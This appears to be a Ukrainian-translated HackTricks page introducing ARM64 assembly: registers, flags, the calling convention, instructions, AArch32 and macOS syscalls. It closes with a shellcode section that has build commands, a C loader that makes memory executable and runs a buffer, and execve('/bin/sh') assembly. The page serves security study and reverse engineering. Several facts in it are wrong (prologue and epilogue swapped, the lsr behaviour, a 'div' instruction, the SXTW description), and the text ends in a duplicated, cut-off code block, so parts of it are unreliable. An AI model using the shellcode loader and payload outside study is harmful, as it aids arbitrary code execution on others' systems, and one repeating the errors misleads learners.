Introduction to ARM64v8

Підтримайте HackTricks

Перевірте плани підписки!
Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами на Twitter 🐦 @hacktricks_live.
Поширюйте хакерські трюки, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.

Рівні винятків - EL (ARM64v8)

У архітектурі ARMv8 рівні виконання, відомі як Рівні винятків (EL), визначають рівень привілеїв та можливості середовища виконання. Існує чотири рівні винятків, від EL0 до EL3, кожен служить різним цілям:

EL0 - Режим користувача:

Це найменш привілейований рівень і використовується для виконання звичайного програмного коду.
Додатки, що працюють на EL0, ізольовані один від одного та від системного програмного забезпечення, підвищуючи безпеку та стабільність.

EL1 - Режим ядра операційної системи:

Більшість ядер операційних систем працюють на цьому рівні.
EL1 має більше привілеїв, ніж EL0 та може отримувати доступ до ресурсів системи, але з деякими обмеженнями для забезпечення цілісності системи.

EL2 - Режим гіпервізора:

Цей рівень використовується для віртуалізації. Гіпервізор, що працює на EL2, може керувати кількома операційними системами (кожна у власному EL1), що працюють на одному фізичному обладнанні.
EL2 надає можливості для ізоляції та керування віртуалізованими середовищами.

EL3 - Режим безпечного монітора:

Це найбільш привілейований рівень і часто використовується для безпечного завантаження та довірених середовищ виконання.
EL3 може керувати та контролювати доступи між безпечними та небезпечними станами (наприклад, безпечний запуск, довірена ОС тощо).

Використання цих рівнів дозволяє структурованим та безпечним способом керувати різними аспектами системи, від користувацьких додатків до найбільш привілейованого системного програмного забезпечення. Підхід ARMv8 до рівнів привілеїв допомагає ефективно ізолювати різні компоненти системи, тим самим підвищуючи безпеку та надійність системи.

Регістри (ARM64v8)

У ARM64 є 31 регістр загального призначення, позначених як x0 до x30. Кожен може зберігати значення 64 біт (8 байт). Для операцій, які вимагають лише значень 32 біт, до тих же регістрів можна отримати доступ у режимі 32 біт за допомогою імен w0 до w30.

x0 до x7 - Зазвичай використовуються як регістри-запаси та для передачі параметрів у підпрограми.

x0 також містить дані повернення функції.

x8 - У ядрі Linux, x8 використовується як номер системного виклику для інструкції svc. У macOS використовується x16!
x9 до x15 - Додаткові тимчасові регістри, часто використовуються для локальних змінних.
x16 та x17 - Регістри внутрішньопроцедурного виклику. Тимчасові регістри для негайних значень. Їх також використовують для непрямих викликів функцій та заготовок PLT (Таблиця зв'язку процедур).

x16 використовується як номер системного виклику для інструкції svc в macOS.

x18 - Регістр платформи. Його можна використовувати як регістр загального призначення, але на деяких платформах цей регістр зарезервований для платформено-специфічних використань: Вказівник на поточний блок середовища потоку в Windows або вказівник на поточну структуру завдання в ядрі Linux.
x19 до x28 - Це регістри, які зберігаються викликачем. Функція повинна зберігати значення цих регістрів для свого викликача, тому вони зберігаються в стеку та відновлюються перед поверненням до викликача.
x29 - Вказівник рамки для відстеження стекової рамки. Коли створюється нова стекова рамка через виклик функції, регістр x29 зберігається в стеці, а адреса нової рамки (адреса sp) зберігається в цьому реєстрі.

Цей регістр також може використовуватися як регістр загального призначення, хоча зазвичай використовується як посилання на локальні змінні.

x30 або lr - Регістр посилання. Він містить адресу повернення, коли виконується інструкція BL (Гілка з посиланням) або BLR (Гілка з посиланням на реєстр), зберігаючи значення pc в цьому регістрі.

Його також можна використовувати як будь-який інший регістр.
Якщо поточна функція збирається викликати нову функцію та, отже, перезаписувати lr, вона збереже його в стеці на початку, це епілог (stp x29, x30 , [sp, #-48]; mov x29, sp -> Зберегти fp та lr, створити простір та отримати новий fp) та відновить його в кінці, це пролог (ldp x29, x30, [sp], #48; ret -> Відновити fp та lr та повернутися).

sp - Вказівник стеку, використовується для відстеження верхушки стеку.

значення sp завжди повинно бути збережено принаймні з вирівнюванням квадратного слова, або може виникнути виняток вирівнювання.

pc - Лічильник програми, який вказує на наступну інструкцію. Цей регістр можна оновлювати лише через генерацію винятків, повернення винятків та гілки. Єдині звичайні інструкції, які можуть читати цей регістр, це інструкції гілки з посиланням (BL, BLR) для збереження адреси pc в lr (Регістр посилання).
xzr - Регістр нуля. Також називається wzr у формі регістра 32 біт. Може використовуватися для отримання нульового значення легко (загальна операція) або для виконання порівнянь за допомогою subs як subs XZR, Xn, #10 зберігаючи отримані дані нікуди (у xzr).

Регістри Wn є 32-бітною версією регістра Xn.

Регістри SIMD та з плаваючою комою

Крім того, є ще 32 регістри довжиною 128 біт, які можна використовувати в оптимізованих операціях з однією інструкцією для кількох даних (SIMD) та для виконання операцій з плаваючою комою. Їх називають регістрами Vn, хоча вони також можуть працювати в режимах 64-бітному, 32-бітному, 16-бітному та 8-бітному, тоді вони називаються Qn, Dn, Sn, Hn та Bn.

Реєстри системи

Існує сотні реєстрів системи, також називаних реєстрами спеціального призначення (SPR), які використовуються для моніторингу та контролю поведінки процесорів. Їх можна читати або встановлювати лише за допомогою спеціальної інструкції mrs та msr.

Спеціальні реєстри TPIDR_EL0 та TPIDDR_EL0 часто зустрічаються при реверсному проектуванні. Суфікс EL0 вказує на мінімальне виключення, з якого можна отримати доступ до реєстру (у цьому випадку EL0 - це звичайний рівень виключення (привілей), на якому працюють звичайні програми). Їх часто використовують для зберігання базової адреси області пам'яті локального сховища потоку. Зазвичай перший доступний для читання та запису для програм, що працюють на EL0, але другий може бути прочитаний з EL0 та записаний з EL1 (як ядро).

mrs x0, TPIDR_EL0 ; Прочитати TPIDR_EL0 у x0
msr TPIDR_EL0, X0 ; Записати x0 у TPIDR_EL0

PSTATE

PSTATE містить кілька компонентів процесу, серіалізованих у видимий для операційної системи спеціальний реєстр SPSR_ELx, де X - рівень дозволу спрацьованого виключення (це дозволяє відновити стан процесу після завершення виключення). Це доступні поля:

Прапорці умов N, Z, C та V:
N означає, що операція дала від'ємний результат
Z означає, що операція дала нуль
C означає, що операція виконана
V означає, що операція дала підписане переповнення:
Сума двох позитивних чисел дає від'ємний результат.
Сума двох від'ємних чисел дає позитивний результат.
У відніманні, коли від меншого позитивного числа віднімається велике від'ємне число (або навпаки), і результат не може бути представлений в межах заданого розміру бітів.
Очевидно, що процесор не знає, чи операція підписана чи ні, тому він буде перевіряти C та V у операціях та вказувати, чи відбувся перенос у випадку, якщо він був підписаний або непідписаний.

Не всі інструкції оновлюють ці прапорці. Деякі, наприклад, CMP або TST, роблять це, а інші, які мають суфікс s, наприклад ADDS, також роблять це.

Прапор ширини поточного реєстра (nRW): Якщо прапорець має значення 0, програма буде працювати в стані виконання AArch64 після відновлення.
Поточний рівень виключення (EL): Звичайна програма, що працює на EL0, матиме значення 0
Прапорець однокрокового виконання (SS): Використовується відладчиками для однокрокового виконання, встановлюючи прапорець SS на 1 всередині SPSR_ELx через виключення. Програма виконає крок і видасть виняток одного кроку.
Прапор незаконного стану виключення (IL): Використовується для позначення, коли привілейоване програмне забезпечення виконує недійсний перехід рівня виключення, цей прапорець встановлюється на 1, і процесор викликає незаконне виключення стану.
Прапорці DAIF: Ці прапорці дозволяють привілейованій програмі вибірково маскувати певні зовнішні виключення.
Якщо A дорівнює 1, це означає, що будуть викликані асинхронні відмови. I налаштовує відповідь на зовнішні апаратні запити переривань (IRQ), а F пов'язаний з швидкими запитами переривань (FIR).
Прапорці вибору вказівника стеку (SPS): Привілейовані програми, що працюють на EL1 та вище, можуть перемикатися між використанням власного реєстра вказівника стеку та реєстра користувацької моделі (наприклад, між SP_EL1 та EL0). Це перемикання виконується шляхом запису в спеціальний реєстр SPSel. Це не можна зробити з EL0.

Конвенція виклику (ARM64v8)

Конвенція виклику ARM64 вказує, що перші вісім параметрів функції передаються в реєстрах x0 через x7. Додаткові параметри передаються через стек. Результат повертається в реєстрі x0, або також в x1, якщо він має довжину 128 біт. Реєстри x19 до x30 та sp повинні бути збережені під час викликів функцій.

При читанні функції в асемблері шукайте пролог та епілог функції. Пролог зазвичай включає збереження вказівника кадру (x29), встановлення нового вказівника кадру та виділення місця стеку. Епілог зазвичай включає відновлення збереженого вказівника кадру та повернення з функції.

Конвенція виклику в Swift

У Swift є власна конвенція виклику, яку можна знайти за посиланням https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64

Загальні інструкції (ARM64v8)

Інструкції ARM64 зазвичай мають формат opcode dst, src1, src2, де opcode - це операція, яку слід виконати (наприклад, add, sub, mov, тощо), dst - це реєстр призначення, де буде збережено результат, а src1 та src2 - джерела реєстрів. Також можна використовувати негайні значення замість джерелних реєстрів.

mov: Перемістити значення з одного реєстра в інший.
Приклад: mov x0, x1 — Це переміщує значення з x1 в x0.
ldr: Завантажити значення з пам'яті в реєстр.
Приклад: ldr x0, [x1] — Це завантажує значення з місця пам'яті, на яке вказує x1, в x0.
Режим зміщення: Вказується зміщення, яке впливає на вказівник абоїну, наприклад:
ldr x2, [x1, #8], це завантажить в x2 значення з x1 + 8
ldr x2, [x0, x1, lsl #2], це завантажить в x2 об'єкт з масиву x0, з позиції x1 (індекс) * 4
Режим передварительного індексування: Це застосовує обчислення до вихідного значення, отримує результат і також зберігає нове вихідне значення в вихідному.
ldr x2, [x1, #8]!, це завантажить x1 + 8 в x2 і збереже в x1 результат x1 + 8
str lr, [sp, #-4]!, Зберегти вказівник ланцюга в sp та оновити реєстр sp
Режим післяіндексації: Це схоже на попереднє, але спочатку звертається до адреси пам'яті, а потім обчислюється та зберігається зміщення.
ldr x0, [x1], #8, завантажити x1 в x0 та оновити x1 на x1 + 8
Адресування відносно PC: У цьому випадку адреса для завантаження обчислюється відносно реєстра PC
ldr x1, =_start, Це завантажить адресу, де починається символ _start, в x1 відносно поточного PC.
str: Зберегти значення з реєстра в пам'ять.
Приклад: str x0, [x1] — Це зберігає значення в x0 в місце пам'яті, на яке вказує x1.
ldp: Завантажити пару реєстрів. Ця інструкція завантажує два реєстри з послідовних місць пам'яті. Адреса пам'яті зазвичай формується додаванням зміщення до значення в іншому реєстрі.
Приклад: ldp x0, x1, [x2] — Це завантажує x0 та x1 з місць пам'яті в x2 та x2 + 8, відповідно.
stp: Зберегти пару реєстрів. Ця інструкція зберігає два реєстри в послідовних місцях пам'яті. Адреса пам'яті зазвичай формується додаванням зміщення до значення в іншому реєстрі.
Приклад: stp x0, x1, [sp] — Це зберігає x0 та x1 в місця пам'яті в sp та sp + 8, відповідно.
stp x0, x1, [sp, #16]! — Це зберігає x0 та x1 в місця пам'яті в sp+16 та sp + 24, відповідно, та оновлює sp на sp+16.
add: Додати значення двох реєстрів та зберегти результат в реєстрі.
Синтаксис: add(s) Xn1, Xn2, Xn3 | #imm, [зсув #N | RRX]
Xn1 -> Призначення
Xn2 -> Операнд 1
Xn3 | #imm -> Операнд 2 (регістр або негайний)
[зсув #N | RRX] -> Виконати зсув або викликати RRX
Приклад: add x0, x1, x2 — Це додає значення в x1 та x2 разом і зберігає результат в x0.
add x5, x5, #1, lsl #12 — Це дорівнює 4096 (1 зсув 12 разів) -> 1 0000 0000 0000 0000
adds Це виконує add та оновлює прапорці
sub: Віднімання значень двох регістрів та збереження результату в регістрі.
Перевірте синтаксис add.
Приклад: sub x0, x1, x2 — Це віднімає значення в x2 від x1 та зберігає результат в x0.
subs Це схоже на віднімання, але оновлює прапорці
mul: Помножити значення двох регістрів та зберегти результат в регістрі.
Приклад: mul x0, x1, x2 — Це множить значення в x1 та x2 та зберігає результат в x0.
div: Розділити значення одного регістра на інший та зберегти результат в регістрі.
Приклад: div x0, x1, x2 — Це ділить значення в x1 на x2 та зберігає результат в x0.
lsl, lsr, asr, ror, rrx:
Логічний зсув вліво: Додавання 0 з кінця, рухаючи інші біти вперед (множення на n-рази 2)
Логічний зсув вправо: Додавання 1 з початку, рухаючи інші біти назад (ділення на n-рази 2 у беззнаковому вигляді)
Арифметичний зсув вправо: Подібно до lsr, але замість додавання 0, якщо найбільш значущий біт - 1, **додаються 1 (**ділення на n-рази 2 у знаковому вигляді)
Поворот вправо: Подібно до lsr, але все, що видаляється зправа, додається зліва
Поворот вправо з розширенням: Подібно до ror, але з прапорцем переносу як "найбільш значущим бітом". Таким чином, прапорець переносу переміщується на біт 31, а видалений біт - у прапорець переносу.
bfm: Переміщення бітів поля, ці операції копіюють біти 0...n зі значення та розміщують їх у позиціях m..m+n. #s вказує найлівіший біт позиції, а #r - кількість правих зсувів.
Переміщення бітів поля: BFM Xd, Xn, #r
Підписане переміщення бітів поля: SBFM Xd, Xn, #r, #s
Непідписане переміщення бітів поля: UBFM Xd, Xn, #r, #s
Вилучення та вставка бітів поля: Копіювання бітового поля з регістра та копіювання його в інший регістр.
BFI X1, X2, #3, #4 Вставити 4 біти з X2 з 3-го біту X1
BFXIL X1, X2, #3, #4 Витягнути з 3-го біту X2 чотири біти та скопіювати їх в X1
SBFIZ X1, X2, #3, #4 Розширити знак 4 біти з X2 та вставити їх в X1, починаючи з позиції біта 3, обнуляючи праві біти
SBFX X1, X2, #3, #4 Витягти 4 біти, починаючи з біту 3 з X2, розширити знак та помістити результат в X1
UBFIZ X1, X2, #3, #4 Розширити нулями 4 біти з X2 та вставити їх в X1, починаючи з позиції біта 3, обнуляючи праві біти
UBFX X1, X2, #3, #4 Витягти 4 біти, починаючи з біту 3 з X2 та помістити результат з розширенням нулями в X1.
Розширення знаку до X: Розширює знак (або додає просто 0 у беззнаковій версії) значення для можливості виконання операцій з ним:
SXTB X1, W2 Розширює знак байта з W2 до X1 (W2 - це половина X2) для заповнення 64 бітів
SXTH X1, W2 Розширює знак 16-бітного числа з W2 до X1 для заповнення 64 бітів
SXTW X1, W2 Розширює знак байта з W2 до X1 для заповнення 64 бітів
UXTB X1, W2 Додає 0 (беззнакове) до байта з W2 до X1 для заповнення 64 бітів
extr: Витягує біти з вказаної пари конкатенованих регістрів.
Приклад: EXTR W3, W2, W1, #3 Це конкатенує W1+W2 та отримує від біту 3 W2 до біту 3 W1 та зберігає це в W3.
cmp: Порівняти два регістри та встановити умовні прапорці. Це псевдонім subs, встановлюючи регістр призначення на нульовий регістр. Корисно знати, якщо m == n.
Підтримує той самий синтаксис, що й subs
Приклад: cmp x0, x1 — Це порівнює значення в x0 та x1 та встановлює умовні прапорці відповідно.
cmn: Порівняти від'ємне операнд. У цьому випадку це псевдонім adds та підтримує той самий синтаксис. Корисно знати, якщо m == -n.
ccmp: Умовне порівняння, це порівняння, яке буде виконано лише у випадку, якщо попереднє порівняння було істинним та спеціально встановить біти nzcv.
cmp x1, x2; ccmp x3, x4, 0, NE; blt _func -> якщо x1 != x2 та x3 < x4, перейти до func
Це тому, що ccmp буде виконано лише у випадку, якщо попередній cmp був NE, якщо цього не було, біти nzcv будуть встановлені на 0 (що не задовольнить порівняння blt).
Це також може бути використано як ccmn (таке саме, але від'ємне, як cmp проти cmn).
tst: Він перевіряє, чи обидва значення порівняння рівні 1 (працює як і ANDS без збереження результату десь). Корисно перевірити реєстр зі значенням та перевірити, чи будь-які біти реєстра, вказані в значенні, рівні 1.
Приклад: tst X1, #7 Перевірити, чи будь-які останні 3 біти X1 рівні 1
teq: Операція XOR з відкиданням результату
b: Безумовний перехід
Приклад: b myFunction
Зверніть увагу, що це не заповнить регістр посилання адресою повернення (не підходить для викликів підпрограм, які потрібно повертатися назад)
bl: Перехід з посиланням, використовується для виклику підпрограми. Зберігає адресу повернення в x30.
Приклад: bl myFunction — Це викликає функцію myFunction та зберігає адресу повернення в x30.
Зверніть увагу, що це не заповнить регістр посилання адресою повернення (не підходить для викликів підпрограм, які потрібно повертатися назад)
blr: Перехід з посиланням на регістр, використовується для виклику підпрограми, де ціль вказана в регістрі. Зберігає адресу повернення в x30. (Це
Приклад: blr x1 — Це викликає функцію, адреса якої міститься в x1, та зберігає адресу повернення в x30.
ret: Повернення з підпрограми, зазвичай використовуючи адресу в x30.
Приклад: ret — Це повертається з поточної підпрограми, використовуючи адресу повернення в x30.
b.<cond>: Умовні переходи
b.eq: Перехід, якщо рівно, на основі попередньої інструкції cmp.
Приклад: b.eq label — Якщо попередня інструкція cmp знайшла два рівні значення, це переходить до label.
b.ne: Гілка, якщо не рівно. Ця інструкція перевіряє умовні прапорці (які були встановлені попередньою інструкцією порівняння), і якщо порівнювані значення не рівні, вона переходить на мітку або адресу.
Приклад: Після інструкції cmp x0, x1, b.ne label — Якщо значення в x0 та x1 не рівні, це переходить на label.
cbz: Порівняти та гілка на нуль. Ця інструкція порівнює регістр з нулем, і якщо вони рівні, вона переходить на мітку або адресу.
Приклад: cbz x0, label — Якщо значення в x0 дорівнює нулю, це переходить на label.
cbnz: Порівняти та гілка на ненульове значення. Ця інструкція порівнює регістр з нулем, і якщо вони не рівні, вона переходить на мітку або адресу.
Приклад: cbnz x0, label — Якщо значення в x0 не дорівнює нулю, це переходить на label.
tbnz: Тест біту та гілка на ненульове значення
Приклад: tbnz x0, #8, label
tbz: Тест біту та гілка на нуль
Приклад: tbz x0, #8, label
Умовні операції вибору: Це операції, поведінка яких змінюється в залежності від умовних бітів.
csel Xd, Xn, Xm, cond -> csel X0, X1, X2, EQ -> Якщо істина, X0 = X1, якщо хиба, X0 = X2
csinc Xd, Xn, Xm, cond -> Якщо істина, Xd = Xn, якщо хиба, Xd = Xm + 1
cinc Xd, Xn, cond -> Якщо істина, Xd = Xn + 1, якщо хиба, Xd = Xn
csinv Xd, Xn, Xm, cond -> Якщо істина, Xd = Xn, якщо хиба, Xd = NOT(Xm)
cinv Xd, Xn, cond -> Якщо істина, Xd = NOT(Xn), якщо хиба, Xd = Xn
csneg Xd, Xn, Xm, cond -> Якщо істина, Xd = Xn, якщо хиба, Xd = - Xm
cneg Xd, Xn, cond -> Якщо істина, Xd = - Xn, якщо хиба, Xd = Xn
cset Xd, Xn, Xm, cond -> Якщо істина, Xd = 1, якщо хиба, Xd = 0
csetm Xd, Xn, Xm, cond -> Якщо істина, Xd = <всі 1>, якщо хиба, Xd = 0
adrp: Обчислити адресу сторінки символу та зберегти її в регістрі.
Приклад: adrp x0, symbol — Це обчислює адресу сторінки symbol та зберігає її в x0.
ldrsw: Завантажити знакове 32-бітне значення з пам'яті та розширити його до 64 бітів.
Приклад: ldrsw x0, [x1] — Це завантажує знакове 32-бітне значення з місця пам'яті, на яке вказує x1, розширює його до 64 бітів та зберігає в x0.
stur: Зберегти значення регістра в місце пам'яті, використовуючи зсув від іншого регістра.
Приклад: stur x0, [x1, #4] — Це зберігає значення в x0 в місце пам'яті, яке знаходиться на 4 байти більше від адреси, що знаходиться в даний момент в x1.
svc : Здійснити системний виклик. Він означає "Виклик наглядача". Коли процесор виконує цю інструкцію, він переходить з режиму користувача в режим ядра та переходить до конкретного місця в пам'яті, де знаходиться код обробки системного виклику ядра.
Приклад:

mov x8, 93  ; Завантажити номер системного виклику для виходу (93) в регістр x8.
mov x0, 0   ; Завантажити код статусу виходу (0) в регістр x0.
svc 0       ; Здійснити системний виклик.

Пролог функції

Зберегти регістр зв'язку та вказівника на фрейм в стек:

stp x29, x30, [sp, #-16]!  ; store pair x29 and x30 to the stack and decrement the stack pointer

Встановіть новий вказівник рамки: mov x29, sp (встановлює новий вказівник рамки для поточної функції)
Виділіть місце в стеку для локальних змінних (якщо потрібно): sub sp, sp, <size> (де <size> - це кількість байтів, необхідних)

Епілог функції

Звільніть локальні змінні (якщо були виділені): add sp, sp, <size>
Відновіть регістр посилання та вказівник рамки:

ldp x29, x30, [sp], #16  ; load pair x29 and x30 from the stack and increment the stack pointer

Повернення: ret (повертає управління викликачу, використовуючи адресу у регістрі посилань)

Стан виконання AARCH32

Armv8-A підтримує виконання програм 32-біт. AArch32 може працювати в одному з двох наборів інструкцій: A32 та T32 і може перемикатися між ними за допомогою взаємодії. Привілейовані 64-бітні програми можуть планувати виконання 32-бітних програм, виконуючи перехід рівня винятку до менш привілейованого 32-бітного. Зверніть увагу, що перехід з 64-бітного на 32-бітний відбувається з меншим рівнем винятку (наприклад, 64-бітна програма в EL1 спричиняє виконання програми в EL0). Це виконується шляхом встановлення біту 4 спеціального регістра SPSR_ELx на 1 тоді, коли потік процесу AArch32 готовий до виконання, а решта SPSR_ELx зберігає програми AArch32 CPSR. Потім привілейований процес викликає інструкцію ERET, щоб процесор перейшов до AArch32, увійшовши в A32 або T32 в залежності від CPSR**.**

Взаємодія відбувається за допомогою бітів J та T CPSR. J=0 та T=0 означає A32, а J=0 та T=1 означає T32. Це в основному означає встановлення найнижчого біту на 1, щоб показати, що набір інструкцій - T32. Це встановлюється під час інструкцій гілки взаємодії, але також може бути встановлено безпосередньо іншими інструкціями, коли PC встановлено як регістр призначення. Приклад:

Інший приклад:

_start:
.code 32                ; Begin using A32
add r4, pc, #1      ; Here PC is already pointing to "mov r0, #0"
bx r4               ; Swap to T32 mode: Jump to "mov r0, #0" + 1 (so T32)

.code 16:
mov r0, #0
mov r0, #8

Реєстри

Є 16 регістрів по 32 біти (r0-r15). Від r0 до r14 їх можна використовувати для будь-якої операції, проте деякі з них зазвичай зарезервовані:

r15: Лічильник програми (завжди). Містить адресу наступної інструкції. У режимі A32 поточний + 8, у режимі T32, поточний + 4.
r11: Вказівник рамки
r12: Регістр внутрішньопроцедурного виклику
r13: Вказівник стеку
r14: Регістр посилання

Крім того, регістри резервуються в банківських реєстрах. Це місця, які зберігають значення регістрів, що дозволяє виконувати швидку зміну контексту при обробці винятків та привілейованих операцій, щоб уникнути необхідності вручну зберігати та відновлювати регістри кожного разу. Це виконується шляхом збереження стану процесора від CPSR до SPSR режиму процесора, до якого взято виняток. Під час повернення з винятку, CPSR відновлюється з SPSR.

CPSR - Регістр поточного стану програми

У AArch32 CPSR працює аналогічно до PSTATE в AArch64 і також зберігається в SPSR_ELx при винятку для подальшого відновлення виконання:

Поля поділені на деякі групи:

Регістр статусу програми застосування (APSR): Арифметичні прапорці та доступні з EL0
Регістри стану виконання: Поведінка процесу (керована ОС).

Регістр статусу програми застосування (APSR)

Прапорці N, Z, C, V (так само, як у AArch64)
Прапорець Q: Встановлюється в 1, коли відбувається насичення цілих чисел під час виконання спеціалізованої насиченої арифметичної інструкції. Як тільки він встановлений в 1, він буде зберігати значення до тих пір, поки його не буде вручну встановлено на 0. Крім того, немає жодної інструкції, яка перевіряє його значення неявно, це потрібно зробити, читаючи його вручну.
GE (Більше або дорівнює) Прапорці: Використовується в операціях SIMD (Одна Інструкція, Багато Даних), таких як "паралельне додавання" та "паралельне віднімання". Ці операції дозволяють обробляти кілька точок даних в одній інструкції.

Наприклад, інструкція UADD8 додає чотири пари байтів (з двох 32-бітних операндів) паралельно і зберігає результати в регістрі 32 біти. Потім встановлює прапорці GE в APSR на основі цих результатів. Кожен прапорець GE відповідає одному з додавань байтів, вказуючи, чи відбулося переповнення додавання для цієї пари байтів.

Інструкція SEL використовує ці прапорці GE для виконання умовних дій.

Регістри стану виконання

Біти J та T: J повинен бути 0, і якщо T дорівнює 0, використовується набір інструкцій A32, а якщо 1 - використовується T32.
Регістр стану блоку IT (ITSTATE): Це біти з 10-15 та 25-26. Вони зберігають умови для інструкцій всередині групи з префіксом IT.
Біт E: Вказує на порядок байтів.
Біти режиму та маски винятків (0-4): Вони визначають поточний стан виконання. П'ятий вказує, що програма працює як 32-бітна (1) або 64-бітна (0). Інші 4 представляють режим винятка, який в даний момент використовується (коли виникає виняток і його обробляють). Число встановлює поточний пріоритет, у разі виникнення іншого винятка під час обробки цього.

AIF: Деякі винятки можна вимкнути, використовуючи біти A, I, F. Якщо A дорівнює 1, це означає, що будуть викликані асинхронні відмови. I налаштовує відповідь на зовнішні апаратні запити переривань (IRQ), а F пов'язаний з швидкими запитами переривань (FIR).

macOS

BSD системні виклики

Перевірте syscalls.master. BSD системні виклики матимуть x16 > 0.

Mach Traps

Перевірте в syscall_sw.c mach_trap_table та в mach_traps.h прототипи. Максимальна кількість Mach traps - MACH_TRAP_TABLE_COUNT = 128. Mach traps матимуть x16 < 0, тому потрібно викликати номери з попереднього списку з мінусом: _kernelrpc_mach_vm_allocate_trap це -10.

Ви також можете перевірити libsystem_kernel.dylib у дизасемблері, щоб дізнатися, як викликати ці (і BSD) системні виклики:

# macOS
dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e

# iOS
dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64

Іноді легше перевірити декомпільований код з libsystem_kernel.dylib ніж перевіряти вихідний код, оскільки код декількох системних викликів (BSD та Mach) генерується за допомогою скриптів (перевірте коментарі в вихідному коді), тоді як у dylib ви можете знайти, що викликається.

виклики machdep

XNU підтримує ще один тип викликів, які називаються залежними від машини. Кількість цих викликів залежить від архітектури, і ані виклики, ані їх номери не гарантовано залишатимуться постійними.

сторінка comm

Це сторінка пам'яті власника ядра, яка відображена в адресному просторі кожного процесу користувача. Це призначено для прискорення переходу з режиму користувача до простору ядра швидше, ніж використання системних викликів для ядерних служб, які використовуються настільки часто, що цей перехід був би дуже неефективним.

Наприклад, виклик gettimeofdate читає значення timeval безпосередньо зі сторінки comm.

objc_msgSend

Дуже поширено зустрічати цю функцію в програмах Objective-C або Swift. Ця функція дозволяє викликати метод об'єкта Objective-C.

Параметри (додаткова інформація в документації):

x0: self -> Вказівник на екземпляр
x1: op -> Селектор методу
x2... -> Решта аргументів викликаного методу

Таким чином, якщо ви встановите точку зупинки перед гілкою до цієї функції, ви легко зможете знайти, що викликається в lldb (у цьому прикладі об'єкт викликає об'єкт з NSConcreteTask, який виконає команду):

# Right in the line were objc_msgSend will be called
(lldb) po $x0
<NSConcreteTask: 0x1052308e0>

(lldb) x/s $x1
0x1736d3a6e: "launch"

(lldb) po [$x0 launchPath]
/bin/sh

(lldb) po [$x0 arguments]
<__NSArrayI 0x1736801e0>(
-c,
whoami
)

Встановлення змінної середовища NSObjCMessageLoggingEnabled=1 дозволяє реєструвати, коли ця функція викликається в файлі, наприклад, /tmp/msgSends-pid.

Крім того, встановлення OBJC_HELP=1 і виклик будь-якого виконуваного файлу дозволяє переглянути інші змінні середовища, які можна використовувати для реєстрації випадків виконання певних дій Objc-C.

Коли ця функція викликається, потрібно знайти викликаний метод вказаного екземпляру, для цього виконуються різні пошуки:

Виконати оптимістичний пошук в кеші:
- Якщо успішно, завершено
Отримати runtimeLock (читання)
- Якщо (реалізувати && !cls->realized) реалізувати клас
- Якщо (ініціалізувати && !cls->initialized) ініціалізувати клас
Спробувати власний кеш класу:
- Якщо успішно, завершено
Спробувати список методів класу:
- Якщо знайдено, заповнити кеш і завершено
Спробувати кеш батьківського класу:
- Якщо успішно, завершено
Спробувати список методів батьківського класу:
- Якщо знайдено, заповнити кеш і завершено
Якщо (розв'язувач) спробувати розв'язувач методу і повторити з пошуку класу
Якщо все ще тут (= все інше не вдалося), спробувати пересилальник

Коди оболонки

Для компіляції:

as -o shell.o shell.s
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib

# You could also use this
ld -o shell shell.o -syslibroot $(xcrun -sdk macosx --show-sdk-path) -lSystem

Для видобутку байтів:

# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/b729f716aaf24cbc8109e0d94681ccb84c0b0c9e/helper/extract.sh
for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n '\\x'$c
done

Для новіших версій macOS:

# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/fc0742e9ebaf67c6a50f4c38d59459596e0a6c5d/helper/extract.sh
for s in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n $s | awk '{for (i = 7; i > 0; i -= 2) {printf "\\x" substr($0, i, 2)}}'
done

С код для тестування shellcode

```c // code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c // gcc loader.c -o loader #include #include #include #include

int (*sc)();

char shellcode[] = "";

int main(int argc, char **argv) { printf("[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));

void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0);

if (ptr == MAP_FAILED) { perror("mmap"); exit(-1); } printf("[+] SUCCESS: mmap\n"); printf(" |-> Return = %p\n", ptr);

void *dst = memcpy(ptr, shellcode, sizeof(shellcode)); printf("[+] SUCCESS: memcpy\n"); printf(" |-> Return = %p\n", dst);

int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ);

if (status == -1) { perror("mprotect"); exit(-1); } printf("[+] SUCCESS: mprotect\n"); printf(" |-> Return = %d\n", status);

printf("[>] Trying to execute shellcode...\n");

sc = ptr; sc();

return 0; }

</details>

#### Оболонка

Взято з [**тут**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s) та пояснено.

<div data-gb-custom-block data-tag="tabs"></div>

<div data-gb-custom-block data-tag="tab" data-title='з adr'>

```armasm
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
.global _main         ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
.align 2              ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).

_main:
adr  x0, sh_path  ; This is the address of "/bin/sh".
mov  x1, xzr      ; Clear x1, because we need to pass NULL as the second argument to execve.
mov  x2, xzr      ; Clear x2, because we need to pass NULL as the third argument to execve.
mov  x16, #59     ; Move the execve syscall number (59) into x16.
svc  #0x1337      ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.

sh_path: .asciz "/bin/sh"

.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
.global _main         ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
.align 2              ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).

_main:
